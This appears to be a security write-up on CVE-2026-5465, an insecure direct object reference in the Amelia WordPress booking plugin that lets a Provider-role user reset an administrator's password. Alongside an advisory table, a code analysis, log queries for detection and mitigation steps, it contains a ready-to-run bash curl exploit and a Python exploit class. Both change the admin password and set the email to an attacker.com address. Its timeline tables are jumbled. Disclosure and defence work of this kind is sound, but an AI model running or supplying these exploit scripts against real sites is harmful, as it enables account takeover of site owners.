
Exploit and analysis for CVE-2026-5465, an IDOR in Amelia WordPress plugin allowing authenticated Provider role to escalate privileges and achieve account takeover via insecure direct object reference.
Critical Insecure Direct Object Reference (IDOR) vulnerability in the Amelia plugin that allows an authenticated user with the Employee (Provider) role to escalate privileges up to full Account Takeover of the WordPress site, including administrative access.
| Attribute | Value |
|---|---|
| CVE ID | CVE-2026-5465 |
| Software | Amelia – Appointment Booking Calendar |
| Affected Versions | ≤ 2.1.3 |
| Patched Version | ≥ 2.2.0 |
| Type | Insecure Direct Object References (IDOR) / Broken Access Control |
| Vector | Network (Authenticated) |
| Complexity | Low |
| Impact | Critical (Account Takeover) |
| CVSS v3.1 | 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-639 (Authorization Bypass) |
The flaw resides in the UpdateProviderCommandHandler class that processes provider profile updates.
Vulnerable flow:
1. User authenticated as "Provider" (Employee)
↓
2. Sends POST request to update endpoint
{
"externalId": 1, // Admin ID (not the attacker's)
"firstName": "Hacked Admin",
"email": "[email protected]",
"password": "new_password"
}
↓
3. System does NOT validate whether 'externalId' belongs to the current user
↓
4. Uses wp_set_password(externalId, new_password)
↓
5. Admin password changed → Account Takeover
Lack of ownership validation (Ownership Check) before processing sensitive data:
// VULNERABLE CODE (Simplified)
public function updateProvider($providerId, $data) {
// ❌ Does NOT verify if providerId == current_user
$provider = Provider::find($providerId);
// Directly executes without validation
wp_set_password($data['password'], $provider->wp_user_id);
}
// CORRECT CODE
public function updateProvider($providerId, $data) {
// ✅ Verifies ownership
if ($providerId !== current_user_id()) {
throw new UnauthorizedException();
}
wp_set_password($data['password'], $provider->wp_user_id);
}
#!/bin/bash
TARGET="https://example.com"
PROVIDER_TOKEN="authenticated_provider_token"
ADMIN_ID=1
# Obtain security NONCE (if it exists)
NONCE=$(curl -s "$TARGET/wp-admin/" | grep -oP '_wpnonce[^"]*' | head -1)
# Execute malicious update
curl -X POST "$TARGET/wp-json/amelia/v1/providers/$ADMIN_ID" \
-H "Authorization: Bearer $PROVIDER_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"externalId": 1,
"password": "Compromised123!",
"email": "[email protected]"
}'
echo "[+] If the response is 200, the admin was compromised"
import requests
import json
class AmeliaExploit:
def __init__(self, target_url, provider_token):
self.target = target_url.rstrip('/')
self.headers = {
'Authorization': f'Bearer {provider_token}',
'Content-Type': 'application/json'
}
def exploit_account_takeover(self, target_user_id=1, new_password="Pwned123!"):
"""Exploits IDOR to change the admin password"""
endpoint = f"{self.target}/wp-json/amelia/v1/providers/{target_user_id}"
payload = {
"externalId": target_user_id,
"password": new_password,
"email": f"pwned_{target_user_id}@attacker.com"
}
try:
response = requests.post(
endpoint,
headers=self.headers,
json=payload,
timeout=10
)
if response.status_code == 200:
print(f"[✓] EXPLOITED: User {target_user_id} compromised")
print(f"[*] New password: {new_password}")
return True
else:
print(f"[✗] Failed: {response.status_code} - {response.text}")
return False
except Exception as e:
print(f"[!] Connection error: {e}")
return False
# Usage
if __name__ == "__main__":
exploit = AmeliaExploit(
target_url="https://example.com",
provider_token="eyJ0eXAiOiJKV1QiLCJhbGc..."
)
exploit.exploit_account_takeover(target_user_id=1)
WordPress Audit Log (if installed):
User: [Provider ID]
Action: User Password Changed
Affected User: Administrator
Timestamp: [Suspicious time]
Server Logs (Apache/Nginx):
POST /wp-json/amelia/v1/providers/1 HTTP/1.1
Authorization: Bearer [token]
Content-Length: [high]
→ Response 200 OK
WordPress Database:
-- Unauthorized password changes
SELECT ID, user_login, user_registered, user_pass
FROM wp_users
WHERE ID = 1
ORDER BY ID DESC LIMIT 1;
-- Suspicious email changes
SELECT user_email, user_login, user_registered
FROM wp_users
WHERE user_login = 'administrator'
ORDER BY ID DESC;
/wp-json/amelia/v1/providers/# Via WordPress Admin Panel
1. Go to: Plugins > Installed Plugins
2. Search for: "Amelia"
3. Click: "Update Now"
4. Minimum safe version: 2.2.0+
# Via WP-CLI
wp plugin update amelia --allow-root
# Via WP-CLI
wp plugin deactivate amelia --allow-root
# Via FTP/SFTP
Rename: /wp-content/plugins/amelia/ → /wp-content/plugins/amelia-DISABLED/
Nginx (nginx.conf):
location ~ /wp-json/amelia/v1/providers/ {
# Only allow GETs
if ($request_method = POST) {
return 403;
}
}
Apache (.htaccess):
<FilesMatch "amelia.*providers">
<LimitExcept GET HEAD>
Require all denied
</LimitExcept>
</FilesMatch>
If the site has already been exploited:
-- Change admin password via CLI
wp user list --role=administrator --field=ID
wp user update [ADMIN_ID] --prompt=user_pass
SELECT * FROM wp_users WHERE user_registered > DATE_SUB(NOW(), INTERVAL 7 DAY);
SELECT * FROM wp_users WHERE ID = 1;
# Install and review plugin: WP Session Manager
wp plugin install wp-session-manager --allow-root
wp plugin activate wp-session-manager --allow-root
// In wp-config.php, regenerate:
define('AUTH_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('SECURE_AUTH_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('LOGGED_IN_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('NONCE_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');
Cloudflare WAF Rule:
- Block: POST to /wp-json/amelia/v1/providers/[0-9]+ from non-whitelisted IPs
# Install audit plugins
wp plugin install wordfence --allow-root
wp plugin install sucuri-scanner --allow-root
// Limit Provider capabilities
$role = get_role('amelia_provider');
$role->remove_cap('edit_users');
$role->remove_cap('manage_options');
limit_req_zone $binary_remote_addr zone=amelia_zone:10m rate=5r/s;
location ~ /wp-json/amelia/v1/ {
limit_req zone=amelia_zone burst=20 nodelay;
}
| Date | Event |
|---|---|
| 2026-01-15 | Vulnerability reported to Amelia Team |
| 2026-02-01 |
Classification: 🔴 CRITICAL - Requires immediate action
Last updated: April 2026
Author: Security Team
| Parameter | Type | Impact |
|---|
externalId | Integer | Identity change (core IDOR) |
password | String | Password modification |
email | Session theft if reset | |
firstName, lastName | String | Non-critical data alteration |
| Patch available (v2.2.0) |
| 2026-02-10 | Responsible CVE disclosure |
| 2026-02-11 | Exploits in the wild |
| TODAY | Urgent update recommendation |